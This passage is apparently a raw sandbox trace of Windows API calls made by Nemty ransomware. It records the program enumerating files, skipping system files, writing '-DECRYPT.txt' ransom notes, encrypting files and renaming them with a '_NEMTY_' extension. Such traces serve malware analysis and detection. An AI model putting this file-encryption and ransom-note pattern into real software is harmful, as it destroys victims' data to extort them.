lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol._nemty_kgobjgd_")) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.167] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0181.167] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0181.168] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0181.168] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0181.168] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0181.168] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0181.168] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0181.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0181.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.173] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.173] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0181.174] CloseHandle (hObject=0x2e8) returned 1 [0181.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0181.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0181.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0181.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0181.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.174] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.175] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.175] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0181.176] CloseHandle (hObject=0x2e8) returned 1 [0181.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0181.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fa08490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1fa08490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0181.176] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0181.176] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1fa08490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1fa08490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.177] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0181.177] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0181.177] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0181.177] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0181.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0181.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0181.178] Sleep (dwMilliseconds=0x5) [0181.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1fa54750, dwHighDateTime=0x1d561e8)) [0181.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1fa54750, dwHighDateTime=0x1d561e8)) [0181.192] GetLastError () returned 0xb7 [0181.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.192] GetLastError () returned 0xb7 [0181.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0181.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0181.192] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0181.193] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="Lkg0ZKBpmFK+vPjsAoDdmr60dGuLvyIokpIwjvuT45J4raWkskOwEa/5O40+7tZH\r\nusVXUdusnYAyJX99m2rSOQwGHBPk67oa3uqA0ukMwUjBNIVYAbfzGOwIEVcmuSpw\r\neNTZBlISgNFxgzIf3LN4fILCxLrVNuvZfQaZDOITFIqO9OcT1aNCeVJUTpSU5fN+\r\nFgsTHQhQlPJrrmRZ0b2gMwrK4iKjhIvX4Q5q3v88OXUejq3lx8q5CsRw6DXR6ydB\r\nFbd0UVyKjXLwNY3jT+BdxyPhoNRU9AGiWiaHOg6VmH4SZBl6sbAO9j4yWCvQJkRq\r\njs9ucHPxtH8ztjL+5N52jQ==\r\n", pcchString=0x653e29c) returned 1 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0181.193] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38087) returned 1 [0181.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x94c0) returned 0x6352c48 [0181.193] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.193] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x94c0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x94c0, lpOverlapped=0x0) returned 1 [0181.197] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.197] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x94c0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x94c0, lpOverlapped=0x0) returned 1 [0181.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.198] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x94c7 [0181.198] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0181.198] CloseHandle (hObject=0x2f0) returned 1 [0181.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0181.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0181.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0181.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0181.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.198] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.199] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 